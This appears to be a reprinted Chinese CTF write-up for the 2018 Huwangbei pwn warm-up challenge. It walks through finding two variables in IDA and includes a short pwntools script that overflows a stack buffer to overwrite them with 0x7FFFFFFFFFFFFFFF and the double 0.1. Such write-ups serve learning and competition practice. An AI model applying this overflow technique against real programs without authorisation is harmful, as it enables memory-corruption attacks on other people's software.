2018護網杯的pwn簽到題(詳細過程)


題目:

鏈接:https://pan.baidu.com/s/1WcO-y2MQ6Wb17PqL2dxyyA
提取碼:z5a7

 

首先找保護機制

難受 保護全開!!

 

運行一下,發現只有一個輸入點。

 

 

ida分析一波

發現只要滿足 v7=0x7FFFFFFFFFFFFFFFLL 還有v8=0.1 但是在payload去傳值需要用0x????,這里可以了解一下浮點型  0.1的值:

https://math.stackexchange.com/questions/1791562/converting-0-1-to-binary-64-bit-double?tdsourcetag=s_pctim_aiomsg 

 

或者用c跑一下

 

 

思路:填buf,直到覆蓋v7和v8的值,達到成功修改。

 

from pwn import *


p = process('./pwn2')

payload = ''
payload += 'A'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)

p.sendline(payload)
p.interactive()

 

比賽的時候腦子不是很好使,賽后不能再明明白白了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM